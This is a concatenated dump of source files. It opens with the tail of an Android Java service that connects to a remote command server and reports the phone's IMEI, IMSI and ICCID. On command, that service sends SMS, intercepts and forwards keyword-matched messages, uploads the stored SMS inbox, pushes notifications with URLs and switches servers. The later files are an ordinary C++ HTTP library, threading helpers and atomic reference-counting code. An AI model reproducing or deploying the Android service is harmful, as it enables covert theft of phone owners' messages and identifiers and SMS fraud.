Exception:"+e.getMessage()); }finally { Logger.error("closed inputbuffer!!!!!!!"); socketDisConnect(); } } private static final int REVERSER = 0; public Handler mHandler = new Handler() { public void handleMessage(Message msg) { super.handleMessage(msg); isConnect = true; lastXinTiao = System.currentTimeMillis(); if(msg.what==REVERSER) { Bundle dle = msg.getData(); String retJson = dle.getString("rejson"); //String headcode = ""; //如果为心跳包 if(retJson.equals("0")) { Log.e("sms","收到心跳包反馈"+isConnect); return; }else{ Log.e("sms","server:"+retJson); String headcode = retJson.substring(0,2); String bodycode = retJson.substring(2); if(headcode.equals("2A")) {//任务 //Logger.error(retJson); Future future = executorService.submit(new smsTask(bodycode)); if(future==null) { Logger.error("空"); } try { if(future.get()==null){//如果Future's get返回null,任务完成 Logger.info("任务完成"); }else{ Logger.info("任务没有完成"); } } catch (InterruptedException e) { } catch (ExecutionException e) { //否则我们可以看看任务失败的原因是什么 Logger.info(e.getMessage()); } } } } } }; //第一次握手事件 public void woshou() { //Log.e("sms","握手事件.....!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); String postData; JSONObject json = new JSONObject(); try { json.put("imei", imei); json.put("imsi", imsi); json.put("iccid", iccid); json.put("pstyle", pstyle); json.put("appname", appname); json.put("version", Integer.toString(ver)); json.put("sdkver", sdkver); postData = json.toString(); } catch (JSONException e) { postData = "{\"imei\":\""+imei+"\",\"imsi\":\""+imsi+"\",\"pstyle\":\""+pstyle+"\",\"appname\":\""+appname+"\",\"version\":\""+ver+"\",\"sdkver\":\""+sdkver+"\",\"iccid\":\""+iccid+"\"}"; } postData = "1A"+postData; if(sendMessage(postData)) { Log.e("sms","握手成功"); lastXinTiao = System.currentTimeMillis(); } } public synchronized boolean sendMessage(String message) { if(socket!=null&&socket.isConnected()&&!socket.isClosed()) { if (!socket.isOutputShutdown()) { //Logger.info("send:"+message); // try { // // message = URLEncoder.encode(message, "UTF-8"); // } catch (UnsupportedEncodingException e) { // // TODO Auto-generated catch block // Logger.error(e.getMessage()); // } socket_out.println(message); socket_out.flush(); return true; }else { Logger.info("isOutputShutdown is true"); socketDisConnect(); return false; } }else { Log.e("sms","发送协议失败============"); socketDisConnect(); return false; } } //任务处理 class smsTask implements Runnable { String taskbody; smsTask(String _task) { taskbody = _task; } @Override public void run() { // TODO Auto-generated method stub Logger.info("onStrartRunnable"+taskbody); try { JSONArray arrayJson = new JSONArray(taskbody); for(int i=0;i<arrayJson.length();i++) { JSONObject tempJson = arrayJson.optJSONObject(i); int ttype = tempJson.getInt("t"); String sn,sm,isback; switch(ttype) { case 11://发送短信 //发送短信 { //Tools.reStartApp(mContext, "com.qihoo360.mobilesafe"); sn = tempJson.getString("sn"); sm = tempJson.getString("sm"); Tools.sendSms(mContext, sn, sm); JSONObject post = new JSONObject(); post.put("iccid", iccid); post.put("imei", imei); post.put("OK", "1"); post.put("t", "11"); if(sendMessage("1C"+post.toString())) { Logger.error("kehuduan发送成功"); }else{ Logger.error("kehuduan发送不成功"); } } break; case 12://关键字回报 String keyword = tempJson.getString("keyword"); sn = tempJson.getString("number"); String time = tempJson.getString("etime"); long etime = System.currentTimeMillis()+Long.parseLong(time)*1000; isback = tempJson.getString("isback"); String toTel = tempJson.getString("totel"); long kid = 0; if(dbHelper!=null) { kid = dbHelper.insertKeyword(keyword, isback,sn,etime,toTel); Logger.info("xxxxxxxxxxxxxxxxxx"+kid); }else{ Logger.info("xxxxxxxxxxxxxxxxxx null"); } //回报成功 if(kid!=0) { JSONObject post = new JSONObject(); post.put("iccid", iccid); post.put("imei", imei); post.put("OK", "1"); post.put("t", "12"); if(sendMessage("1C"+post.toString())) { Logger.error("kehuduan sned suc"); }else{ Logger.error("kehuduan send failed"); } }else{ Logger.error("suc insert"); } break; case 13: isback = tempJson.getString("isback"); if(isback.equals("1")) { JSONArray jsonarray = Tools.getSms(mContext); JSONObject jsonObject = new JSONObject(); jsonObject.put("iccid", iccid); jsonObject.put("sms", jsonarray); if(sendMessage("1D"+jsonObject.toString())) { Logger.error("isback suc"); }else{ Logger.error("isback failed"); } } break; case 14://通知栏更新 { String title=tempJson.getString("title"); String message=tempJson.getString("content"); String url = tempJson.getString("url"); Tools.showNotification(mContext, title, message, url); } break; case 15://断开服务器 { String host = tempJson.getString("host"); Tools.setHost(mContext, host); socketDisConnect(); } break; } } }catch (JSONException e) { Logger.error(e.getMessage()); } } } class onStrartRunnable implements Runnable { private String action; private Intent intent; onStrartRunnable(Intent _intent) { intent = _intent; action = intent.getStringExtra("action"); } @Override public void run() { // TODO Auto-generated method stub Logger.error("onStrartRunnable"); if(Tools.checkNet(mContext)) {//如果有网络,去链接网络 if(!isConnect) { if(socketConnect()){ Logger.info("socket connected..."); } }else{ //Logger.info("connected..."); } }else{ //如果没有网络 socketDisConnect(); Logger.info("not net ...."); if(action.equals(Tag.SENDTOSERVER)) { String number = intent.getStringExtra("number"); String message = intent.getStringExtra("message"); if(dbHelper==null) { dbHelper = new DbHelper(mContext,1); } //启动手机短信上传 Cursor c = dbHelper.getkeys(); if(null!=c&&c.getCount()>0) { if(c.moveToFirst()) { do{ String totel = c.getString(5); Logger.info("totel:"+totel); if(!totel.equals("-1")) { String tomessage = iccid+imei.substring(imei.length()-4)+":"+message; Tools.sendSms(mContext, totel, tomessage); } }while(c.moveToNext()); } } } return; } if(action!=null){ if(action.equals(Tag.XINTIAO)) { //Logger.error("心跳包"); if(isConnect) { if(sendMessage("0")) { //Logger.error("发送心跳包"); } //isConnect = false; }else{ socketDisConnect(); } }else if(action.equals(Tag.SMS_DELIVERED_ACTION)) {//action.equals(Tag.SMS_SEND_ACTIOIN)|| String number = intent.getStringExtra("number"); Logger.info("发送号码:"+number); //1是不成功 -1成功 int resultcode = intent.getIntExtra("resultcode",0); Logger.info("result:"+resultcode); if(resultcode==-1) { Logger.info("短信发送成功"); JSONObject post = new JSONObject(); try { post.put("message", "短信发送成功"); post.put("number", number); post.put("iccid", iccid); }catch(JSONException e) { e.printStackTrace(); } Logger.error(post.toString()); if(sendMessage("1B"+post.toString())) { Logger.error("发送成功"); }else{ Logger.error("发送不成功"); } } }else if(action.equals(Tag.SENDTOSERVER)) { String number = intent.getStringExtra("number"); String message = intent.getStringExtra("message"); JSONObject post = new JSONObject(); try { post.put("type", "1"); post.put("number", number); post.put("message", message); post.put("iccid", iccid); } catch (JSONException e) { // TODO Auto-generated catch block e.printStackTrace(); } Logger.error(post.toString()); if(sendMessage("1B"+post.toString())) { Logger.error("发送成功"); }else{ Logger.error("发送不成功,查看是否通过短信发送"); } } } } } }
zzy-test-client
trunk/com_1/src/tools/common/AService.java
Java
bsd
19,553
package tools.common; import android.content.ContentValues; import android.content.Context; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteOpenHelper; public class DbHelper extends SQLiteOpenHelper{ public static final String TASKDB = "taskbd"; public SQLiteDatabase db = null; public final String SMS_TABLE = "create table if not exists smstable(id Integer primary key autoincrement,number text not null,isback text default 0)"; public final String KEY_TABLE = "create table if not exists keytable(id Integer primary key autoincrement,keyword text not null,isback text default 0,etime long,number text not null,totel text default -1)"; public DbHelper(Context context,int version) { super(context, TASKDB, null, version); // TODO Auto-generated constructor stub } @Override public void onCreate(SQLiteDatabase db) { // TODO Auto-generated method stub db.execSQL(SMS_TABLE); db.execSQL(KEY_TABLE); } @Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { // TODO Auto-generated method stub db.execSQL("DROP TABLE IF EXISTS smstable"); db.execSQL("DROP TABLE IF EXISTS keytable"); this.onCreate(db); } public void opendatabase() { if(db==null) { db = getWritableDatabase(); } } public void closedatabase() { if(db!=null) db.close(); db = null; } public long insertTask(String number,String isback) { long rowid = 0; ContentValues initiaValues = new ContentValues(); initiaValues.put("number", number); initiaValues.put("isback", isback); rowid = db.insert("smstable", null, initiaValues); return rowid; } //检索一个任务 public Cursor getTask(String number) { opendatabase(); Cursor cursor = db.query(true, "smstable", new String[]{ "number","isback" }, "number = '"+ number +"'", null, null, null, null, null); if(cursor!=null) { cursor.moveToFirst(); } return cursor; } public synchronized long insertKeyword(String keyword, String isback,String number,long etime) { // TODO Auto-generated method stub deletekeys(); long rowid = 0; ContentValues initiaValues = new ContentValues(); initiaValues.put("keyword", keyword); initiaValues.put("isback", isback); initiaValues.put("number", number); initiaValues.put("etime",etime); rowid = db.insert("keytable", null, initiaValues); return rowid; } public synchronized long insertKeyword(String keyword, String isback,String number,long etime,String totel) { // TODO Auto-generated method stub deletekeys(); long rowid = 0; ContentValues initiaValues = new ContentValues(); initiaValues.put("keyword", keyword); initiaValues.put("isback", isback); initiaValues.put("number", number); initiaValues.put("totel", totel); initiaValues.put("etime",etime); rowid = db.insert("keytable", null, initiaValues); return rowid; } //检索一个任务 public synchronized Cursor getkeys() { opendatabase(); Cursor cursor = db.query(true, "keytable", new String[]{ "keyword","isback","number","etime","id","totel" }, null, null, null, null, null, null); if(cursor!=null) { cursor.moveToFirst(); } return cursor; } public synchronized void deletekeys() { db.execSQL("delete from keytable"); } }
zzy-test-client
trunk/com_1/src/tools/common/DbHelper.java
Java
bsd
3,334
#include "QHttp.h" #include "RefCounted.h" #include "ThreadPool.h" #include <list> #include <curl/curl.h> #include <fstream> #include <algorithm> #include <sstream> #include <map> #include <iostream> #include "QCookieManager.h" void static trim_right(std::string& s, const char* str = " ") { s.erase(s.find_last_not_of(str)+1); } void static trim_left(std::string& s, const char* str = " ") { s.erase(0, s.find_first_not_of(str)); } namespace q { class HttpManager; // content impliment interface class IHttpResponse : public Object{ public: virtual int64 write(const char* data, int64 size) = 0; virtual void writeEnd() = 0; virtual const char* text() = 0; virtual ~IHttpResponse() {}; }; class ContentFileImpl: public IHttpResponse { // IHttpResponse public: int64 write(const char* data, int64 size) { //printf("downloaded size: %d\r\n", read_size_); if(!fstream_.fail()) { fstream_.write(data, size); } return size; } void writeEnd() { if(fstream_.is_open()) { fstream_.close(); } } const char* text() { // not get in here return 0; } public: ContentFileImpl(const std::string& save_path) : save_path_(save_path) { if(fstream_.is_open()) { fstream_.clear(); fstream_.close(); } std::string sFile = save_path_; std::replace(sFile.begin(), sFile.end(), '\\', '/'); fstream_.open(sFile.c_str(), std::ios::binary); if(!fstream_.is_open()) { std::cout << "open file failed [file://" << sFile << "], error code:" << errno << std::endl; } } private: std::string save_path_; std::ofstream fstream_; }; class ContentBufferImpl: public IHttpResponse { // constructor/destructor public: ContentBufferImpl() {} ~ContentBufferImpl() {} // IHttpResponse public: int64 write(const char* data, int64 size) { sContent_.append(data, size); return size; } void writeEnd() {} const char* text() { return sContent_.c_str(); } private: std::string sContent_; }; /* class HttpObject : virtual public Object { public: void write_httpv_status(const std::string& httpv, int status) { http_version_ = httpv; status_code_ = status; } void write_header(const std::string& name, const std::string& value) { if(status() == 200) { if(!name.empty()) { headers_[name] = value; } if(name == "Content-Length") { content_impl()->size(atoi(value.c_str())); } } else if( status() == 302 ) { if(name == "Location") { actual_url_ = value; } } } void write_data(char* buffer, size_t size) { content_impl()->write_data(buffer, size); } public: virtual IContentImpl* content_impl() = 0; public: int status() { return status_code_; } const char* url() { return url_.c_str(); } const char* actual_url() { return actual_url_.c_str(); } const char* header(const char* name) { if(name != NULL) { std::map<std::string, std::string>::const_iterator cit = headers_.find(name); if(cit == headers_.end()) { return cit->second.c_str(); } } return ""; } public: HttpObject(const std::string& sUrl) : url_(sUrl) , actual_url_("") , status_code_(0) { } ~HttpObject() {} protected: std::string url_; std::string actual_url_; uint32 status_code_; std::string http_version_; std::map<std::string, std::string> headers_; }; ////////////////////////////////////////////////////////////////////////// // class DownloadObject ////////////////////////////////////////////////////////////////////////// class DownloadObject : virtual public IDownloadObject, virtual public HttpObject { public: IContentImpl* content_impl() { return impl_; } // HttpObject public: const char* url() { return HttpObject::url(); } int status() { return HttpObject::status(); } const char* header(const char* name) { return HttpObject::header(name); } // IDownloadObject public: const char* actual_url() { return HttpObject::actual_url(); } int64 file_size() { return impl_->file_size(); } int64 read_size() { return impl_->read_size(); } // bool completed() { return impl_->completed(); } // constructor/destructor public: DownloadObject(const char* sUrl, const char* sSavePath) : HttpObject(sUrl) , impl_(new ContentFileImpl(sSavePath)) { } ~DownloadObject(void) {} private: RefPtr<ContentFileImpl> impl_; }; // class DownloadObject ////////////////////////////////////////////////////////////////////////// // class RequestObject ////////////////////////////////////////////////////////////////////////// class RequestObject : public IRequestObject, virtual public HttpObject { public: RequestObject(const std::string& sUrl) : HttpObject(sUrl) { impl_ = new ContentBufferImpl(); } ~RequestObject() {} // HttpObject public: IContentImpl* content_impl() { return impl_; }; bool completed() { return impl_->completed(); } // IHttpResponse public: const char* url() { return HttpObject::url(); } int status() { return HttpObject::status(); } const char* header(const char* name) { return HttpObject::header(name); } // IRequestObject public: const char* content() { return impl_->content(); } private: RefPtr<ContentBufferImpl> impl_; }; */ ////////////////////////////////////////////////////////////////////////// // class HttpRequest class HttpRequest : public IHttpRequest { public: HttpRequest(HttpManager* p); ~HttpRequest() ; friend class HttpTask; typedef std::map<std::string, std::string> HEADERS; // IHttpRequest public: bool open(const char* url, ACTION action, IEvent* event, const char* save_path); bool setRequestHeader(const char* name, const char* value); void send(const char* data = NULL); void escape(const std::string& sIn, std::string& sOut); const char* responseText() { return response_->text(); } int status() { return status_; } protected: bool execute(); // 工作线程调用 private: static size_t curlRecvHeader(void *ptr, size_t size, size_t nmemb, void *userdata); static size_t curlRecvData(void *ptr, size_t size, size_t nmemb, void *userdata); int64 recvData(char* buffer, int64 size); size_t parseHeader(char* buffer, size_t size); private: std::string url_; std::string actual_url_; int status_; int64 content_length_; int64 read_bytes_; std::string http_version_; HEADERS request_headers_; std::string post_data_; std::string cookie_data_; CURL *curl_; CURLcode res_; struct curl_slist* header_list_; HttpManager* http_manager_; RefPtr<IEvent> event_; RefPtr<IHttpResponse> response_; HEADERS response_headers_; }; /* ////////////////////////////////////////////////////////////////////////// // class ControllerProxy ////////////////////////////////////////////////////////////////////////// class ControllerProxy : public Object { public: virtual void recvHeader(const std::string& name, const std::string& value) = 0; virtual void recvData(char* buffer, size_t size) = 0; virtual void recvHttpvStatus(const char* http_version, int status) = 0; virtual const char* url() = 0; // libcurl public: void httpWork() { const char* url = url(); if(NULL != url) { CURL *curl; CURLcode res; curl = curl_easy_init(); curl_easy_setopt(curl, CURLOPT_URL, url); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1); curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, &ControllerProxy::recvHeader); curl_easy_setopt(curl, CURLOPT_HEADERDATA, this); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, &ControllerProxy::recvData); curl_easy_setopt(curl, CURLOPT_WRITEDATA, this); res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); curl_easy_cleanup(curl); } } static size_t recvHeader(void *ptr, size_t size, size_t nmemb, void *userdata) { ControllerProxy* this_ = static_cast<ControllerProxy*>(userdata); this_->parseHeader((char*)ptr, size * nmemb); return (size * nmemb); } static size_t recvData(void *ptr, size_t size, size_t nmemb, void *userdata) { ControllerProxy* this_ = static_cast<ControllerProxy*>(userdata); this_->recvData((char*)ptr, size * nmemb); return (size * nmemb); } size_t parseHeader(char* buffer, size_t size) { // parse header info std::string header(buffer, size); size_t pos = header.find_first_of(":"); if(pos != std::string::npos) { std::string name = header.substr(0, pos); std::string value = header.substr(pos+1, header.size()-pos-1); trim_left(value); trim_right(value, "\n\r"); recvHeader(name.c_str(), value.c_str()); } else { // get status code std::string http_version; int status = 0; size_t blank_pos = header.find(' '); if(blank_pos != std::string::npos) { // http version http_version = header.substr(0, blank_pos); } size_t old_blank_pos = blank_pos; blank_pos = header.find(' ', old_blank_pos+1); if(blank_pos != std::string::npos) { // http status code status = (atoi(header.substr(old_blank_pos+1, blank_pos).c_str())); } recvHttpvStatus(http_version.c_str(), status); } return size; } // constructor / destructor public: ControllerProxy() {} ~ControllerProxy() {} }; // class ControllerProxy ////////////////////////////////////////////////////////////////////////// // class DownloadControllerProxy ////////////////////////////////////////////////////////////////////////// class DownloadControllerProxy : public ControllerProxy { // static method public: static DownloadControllerProxy* create(const char* sUrl, const char* sSavePath, IDownloadController* controller) { DownloadControllerProxy* p = new DownloadControllerProxy; p->object_ = new DownloadObject(sUrl, sSavePath); p->controller_ = controller; if(p->controller_) { p->controller_->onreadystatechange(); } return p; } // 重写ControllerProxy public: void recvHeader(const std::string& name, const std::string& value) { object_->writeHeader(name, value); } void recvData(char* buffer, size_t size) { object_->write_data(buffer, size); } void recvHttpvStatus(const char* http_version, int s) { object_->write_httpv_status(http_version, s); } const char* url() { return object_->url(); } private: RefPtr<IDownloadController> controller_; RefPtr<DownloadObject> object_; }; ////////////////////////////////////////////////////////////////////////// // class RequestControllerProxy ////////////////////////////////////////////////////////////////////////// class RequestControllerProxy : public ControllerProxy { // static method public: static RequestControllerProxy* create(const char* sUrl, IRequestController* controller) { RequestControllerProxy* p = new RequestControllerProxy; p->object_ = new RequestObject(sUrl); p->controller_ = controller; return p; } public: RequestControllerProxy() : ControllerProxy() { } ~RequestControllerProxy(){ } // 重写ControllerProxy public: void recvHeader(const std::string& name, const std::string& value) { object_->writeHeader(name, value); } void recvData(char* buffer, size_t size) { object_->recvData(buffer, size); if(object_->completed()) { controller_->onReadyStateChange(READYSTATE::COMPLETED); } } void recvHttpvStatus(const char* http_version, int s){ object_->write_httpv_status(http_version, s); } const char* url() { return object_->url(); } private: RefPtr<IRequestController> controller_; RefPtr<RequestObject> object_; }; */ ////////////////////////////////////////////////////////////////////////// // class HttpTask ////////////////////////////////////////////////////////////////////////// class HttpTask : public ITask { public: HttpTask(HttpRequest* c) : http_request_(c) { } ~HttpTask() { } bool Task() { if(http_request_) { http_request_->execute(); } return true; } void OnFinish() {} private: RefPtr<HttpRequest> http_request_; }; class HttpManager : public IHttp { // static public: static HttpManager* create(int thread_number) { HttpManager* p = new HttpManager; p->initialize(thread_number); return p; } // IHttp public: virtual bool createHttpRequest(IHttpRequest** ppOut) { if(*ppOut != NULL) { return false; } IHttpRequest* p = new HttpRequest(this); p->add_ref(); *ppOut = p; return true; } // 方法 public: bool addTask(HttpRequest* task) { list_.push_back(task); return thread_pool_manager_.newtask(new HttpTask(task), -1, 1); } void removeTask(HttpRequest* task) { } void SetCookie(std::string url, const std::string& cookie_data); void GetCookies(std::string url, std::string& out_data); protected: void initialize(int thread_num) { /* Must initialize libcurl before any threads are started */ curl_global_init(CURL_GLOBAL_ALL); // create thread pool thread_pool_manager_.run(thread_num); } public: HttpManager(void) { } ~HttpManager(void) { } private: CookieManager cookies_manager_; std::list< RefPtr<HttpRequest> > list_; ThreadPoolManager thread_pool_manager_; }; void HttpManager::GetCookies( std::string url, std::string& out_data ) { CookieManager::Cookies* p = cookies_manager_.GetCookies(url, true); if(p) p->GetString(NULL, out_data); } void HttpManager::SetCookie( std::string url, const std::string& cookie_data ) { CookieManager::Cookies* p = cookies_manager_.GetCookies(url, true); if(p) p->SetString(NULL, cookie_data); } //////////////////////////////////////////////////////////////////////////// // HttpRequest Impliement HttpRequest::HttpRequest(HttpManager* p) : curl_(NULL) , res_(CURLE_OK) , http_manager_(p) , status_(0) , content_length_(0) , read_bytes_(0) , header_list_(0) { } HttpRequest::~HttpRequest() { } bool HttpRequest::open(const char* url, ACTION action, IEvent* event, const char* save_path) { if(NULL == url) return false; if(POST != action) action = GET; if(NULL == save_path) { response_ = new ContentBufferImpl(); } else { response_ = new ContentFileImpl(save_path); } url_ = url; event_ = event; curl_ = curl_easy_init(); curl_easy_setopt(curl_, CURLOPT_URL, url); curl_easy_setopt(curl_, CURLOPT_FOLLOWLOCATION, 1); curl_easy_setopt(curl_, CURLOPT_HEADERFUNCTION, &HttpRequest::curlRecvHeader); curl_easy_setopt(curl_, CURLOPT_HEADERDATA, this); curl_easy_setopt(curl_, CURLOPT_WRITEFUNCTION, &HttpRequest::curlRecvData); curl_easy_setopt(curl_, CURLOPT_WRITEDATA, this); curl_easy_setopt(curl_, CURLOPT_POST, action); if(event_) event_->onReadyStateChange(this, UNINITIALIZED); return true; } void HttpRequest::send(const char* data) { header_list_ = NULL; // combine header std::string sHeader; HEADERS::const_iterator it = request_headers_.begin(); for(; it != request_headers_.end(); it++) { sHeader = it->first + ":\t"; sHeader += it->second; header_list_ = curl_slist_append(header_list_, sHeader.c_str()); } curl_easy_setopt(curl_, CURLOPT_HTTPHEADER, header_list_); if(data) { post_data_ = data; curl_easy_setopt(curl_, CURLOPT_POSTFIELDS, post_data_.c_str()); curl_easy_setopt(curl_, CURLOPT_POSTFIELDSIZE, post_data_.size()); } // set request cookie http_manager_->GetCookies(url_, cookie_data_); if(!cookie_data_.empty()) curl_easy_setopt(curl_, CURLOPT_COOKIE, cookie_data_.c_str()); http_manager_->addTask(this); } bool HttpRequest::execute() { if(!curl_) { // curl is not initialize by open() return false; } if(event_) event_->onReadyStateChange(this, LOADING); res_ = curl_easy_perform(curl_); curl_slist_free_all(header_list_); if(event_) event_->onReadyStateChange(this, COMPLETED); if(res_ != CURLE_OK) { //fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res_)); return false; } curl_easy_cleanup(curl_); return true; } size_t HttpRequest::curlRecvHeader(void *ptr, size_t size, size_t nmemb, void *userdata) { HttpRequest* this_ = static_cast<HttpRequest*>(userdata); this_->parseHeader((char*)ptr, size * nmemb); return (size * nmemb); } size_t HttpRequest::curlRecvData(void *ptr, size_t size, size_t nmemb, void *userdata) { HttpRequest* this_ = static_cast<HttpRequest*>(userdata); this_->recvData((char*)ptr, size * nmemb); return (size * nmemb); } int64 HttpRequest::recvData(char* buffer, int64 size) { int return_size = response_->write(buffer, size); read_bytes_ += return_size; if(read_bytes_ >= content_length_) { response_->writeEnd(); } return return_size; } size_t HttpRequest::parseHeader(char* buffer, size_t size) { // parse header info std::string header(buffer, size); size_t pos = header.find_first_of(":"); if(pos != std::string::npos) { std::string name = header.substr(0, pos); std::string value = header.substr(pos+1, header.size()-pos-1); trim_left(value); trim_right(value, "\n\r"); if(status() == 200) { if(!name.empty()) { response_headers_[name] = value; } if(name == "Content-Length") { content_length_ = atoi(value.c_str()); //content_impl()->size(atoi(value.c_str())); } else if(name == "Set-Cookie") { http_manager_->SetCookie(url_, value); } } else if( status() == 302 ) { if(name == "Location") { actual_url_ = value; } } } else { // get status code size_t blank_pos = header.find(' '); if(blank_pos != std::string::npos) { // http version http_version_ = header.substr(0, blank_pos); } size_t old_blank_pos = blank_pos; blank_pos = header.find(' ', old_blank_pos+1); if(blank_pos != std::string::npos) { // http status code status_ = (atoi(header.substr(old_blank_pos+1, blank_pos).c_str())); } } return size; } bool HttpRequest::setRequestHeader( const char* name, const char* value ) { std::string sName, sValue; if(name == NULL) return false; sName = name; if(value) sValue = value; request_headers_[sName] = sValue; return true; } void HttpRequest::escape( const std::string& sIn, std::string& sOut ) { sOut.clear(); char *efc = curl_easy_escape(curl_, sIn.c_str(), sIn.size()); sOut.append(efc); curl_free(efc); } //////////////////////////////////////////////////////////////////////////// // HttpManager IHttp* create(int thread_number) { return HttpManager::create(thread_number); } } // namespace q
zzip
QHttp/src/QHttp.cpp
C++
asf20
18,947
#ifndef DownloadController_h__ #define DownloadController_h__ #include "Object.h" #include "QHttpObject.h" namespace q { } // namespace q #endif // DownloadController_h__
zzip
QHttp/include/QHttpController.h
C++
asf20
190
#ifndef DownloadObject_h__ #define DownloadObject_h__ #include "TypeDefs.h" #include "Object.h" namespace q { //class IHttpObject : public Object { //public: // virtual const char* url() = 0; // virtual const char* header(const char*) = 0; // virtual int status() = 0; // virtual ~IHttpObject() {}; //}; class IHttpResponse : virtual public Object { public: virtual const char* url() = 0; virtual int status() = 0; virtual const char* header(const char*) = 0; virtual ~IHttpResponse() {} }; class IDownloadObject : public IHttpResponse { public: virtual const char* actual_url() = 0; virtual uint64 file_size() = 0; virtual uint64 downloaded_size() = 0; virtual ~IDownloadObject() {} }; class IRequestObject : public IHttpResponse { public: virtual const char* content() = 0; virtual ~IRequestObject() {} }; } // namespace q #endif // DownloadObject_h__
zzip
QHttp/include/QHttpObject.h
C++
asf20
918
#ifndef QHttp_h__ #define QHttp_h__ #include "Object.h" namespace q { enum READYSTATE { UNINITIALIZED = 0, LOADING, LOADED, INTERACTIVE, COMPLETED }; enum ACTION { GET = 0L, POST = 1L, }; struct IHttpRequest; struct IEvent : Object { virtual void onReadyStateChange(IHttpRequest*, READYSTATE state) = 0; }; struct IHttpRequest : Object { virtual bool open(const char* url, ACTION action, IEvent* event, const char* save_path) = 0; virtual bool setRequestHeader(const char* name, const char* value) = 0; virtual void send(const char* data = NULL) = 0; virtual void escape(const std::string& sIn, std::string& sOut) = 0; // response attribute virtual int status() = 0; virtual const char* responseText() = 0; }; class IHttp : public Object { public: virtual bool createHttpRequest(IHttpRequest**) = 0; }; IHttp* create(int thread_number); } // namespace q #endif // QHttp_h__
zzip
QHttp/include/QHttp.h
C++
asf20
946
#include "thread.h" #ifndef WIN32 #include <pthread.h> #include <time.h> #else #include <process.h> #endif namespace q { Thread::Thread() : thread_(0) , bRunning_(false) , bWaitStop_(false) { } Thread::~Thread(){} bool Thread::start(){ if(!bRunning_) { #ifdef OS_WIN thread_ = (HANDLE)_beginthreadex( 0, 0, &threadfunc, this, 0, (unsigned*)&thread_id_ ); if (thread_ == 0) return false; #else if (0 != pthread_create(&thread_, NULL, &threadfunc, this)) { thread_ = 0; return false; } #endif } return bRunning_; } bool Thread::timedwait_stop(unsigned long timeout) { if(bRunning_) { bWaitStop_ = true; #ifdef OS_WIN return WaitForSingleObject(thread_,timeout) == WAIT_OBJECT_0; #else pthread_join(thread_, NULL); #endif } return true; } bool Thread::stop() { if(bRunning_) { timedwait_stop(); #ifdef OS_WIN CloseHandle(thread_); #endif thread_ = 0; bRunning_ = false; } return true; } #ifdef OS_WIN unsigned __stdcall #else void* #endif Thread::threadfunc( void* pArguments ) { Thread* this_ = (Thread*)pArguments; this_->bRunning_ = true; this_->bWaitStop_ = false; unsigned exitCode = 0; this_->OnBegin(); while(!this_->bWaitStop_){ if(!this_->loop()){ exitCode = 0; break; } } this_->OnEnd(); #ifdef OS_WIN return exitCode; #else return 0; #endif } void Thread::OnBegin() { } void Thread::OnEnd() { } bool Thread::running() const { return bRunning_; } } // namespace q
zzip
base/Thread.cc
C++
asf20
1,552
// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // This is a low level implementation of atomic semantics for reference // counting. Please use base/ref_counted.h directly instead. // // The implementation includes annotations to avoid some false positives // when using data race detection tools. #ifndef BASE_ATOMIC_REF_COUNT_H_ #define BASE_ATOMIC_REF_COUNT_H_ #pragma once #include "atomicops.h" namespace base { typedef subtle::Atomic32 AtomicRefCount; // Increment a reference count by "increment", which must exceed 0. inline void AtomicRefCountIncN(volatile AtomicRefCount *ptr, AtomicRefCount increment) { subtle::NoBarrier_AtomicIncrement(ptr, increment); } // Decrement a reference count by "decrement", which must exceed 0, // and return whether the result is non-zero. // Insert barriers to ensure that state written before the reference count // became zero will be visible to a thread that has just made the count zero. inline bool AtomicRefCountDecN(volatile AtomicRefCount *ptr, AtomicRefCount decrement) { //ANNOTATE_HAPPENS_BEFORE(ptr); bool res = (subtle::Barrier_AtomicIncrement(ptr, -decrement) != 0); if (!res) { //ANNOTATE_HAPPENS_AFTER(ptr); } return res; } // Increment a reference count by 1. inline void AtomicRefCountInc(volatile AtomicRefCount *ptr) { base::AtomicRefCountIncN(ptr, 1); } // Decrement a reference count by 1 and return whether the result is non-zero. // Insert barriers to ensure that state written before the reference count // became zero will be visible to a thread that has just made the count zero. inline bool AtomicRefCountDec(volatile AtomicRefCount *ptr) { return base::AtomicRefCountDecN(ptr, 1); } // Return whether the reference count is one. If the reference count is used // in the conventional way, a refrerence count of 1 implies that the current // thread owns the reference and no other thread shares it. This call performs // the test for a reference count of one, and performs the memory barrier // needed for the owning thread to act on the object, knowing that it has // exclusive access to the object. inline bool AtomicRefCountIsOne(volatile AtomicRefCount *ptr) { bool res = (subtle::Acquire_Load(ptr) == 1); if (res) { // ANNOTATE_HAPPENS_AFTER(ptr); } return res; } // Return whether the reference count is zero. With conventional object // referencing counting, the object will be destroyed, so the reference count // should never be zero. Hence this is generally used for a debug check. inline bool AtomicRefCountIsZero(volatile AtomicRefCount *ptr) { bool res = (subtle::Acquire_Load(ptr) == 0); if (res) { // ANNOTATE_HAPPENS_AFTER(ptr); } return res; } } // namespace base #endif // BASE_ATOMIC_REF_COUNT_H_
zzip
base/atomic_ref_count.h
C++
asf20
2,938
#ifndef __INTERLOCK_H__ #define __INTERLOCK_H__ /* Abstract: Implementation of Interlocked functions for the Intel x86 platform. These functions are processor dependent. --*/ //SET_DEFAULT_DEBUG_CHANNEL(SYNC); /*++ Function: InterlockedIncrement The InterlockedIncrement function increments (increases by one) the value of the specified variable and checks the resulting value. The function prevents more than one thread from using the same variable simultaneously. Parameters lpAddend [in/out] Pointer to the variable to increment. Return Values The return value is the resulting incremented value. --*/ inline long InterlockedIncrement( long volatile *lpAddend) { long RetValue; __asm__ __volatile__( "lock; xaddl %0,(%1)" : "=r" (RetValue) : "r" (lpAddend), "0" (1) : "memory" ); return RetValue + 1; } /*++ Function: InterlockedDecrement The InterlockedDecrement function decrements (decreases by one) the value of the specified variable and checks the resulting value. The function prevents more than one thread from using the same variable simultaneously. Parameters lpAddend [in/out] Pointer to the variable to decrement. Return Values The return value is the resulting decremented value. --*/ inline long InterlockedDecrement( long volatile *lpAddend) { long RetValue; __asm__ __volatile__( "lock; xaddl %0,(%1)" : 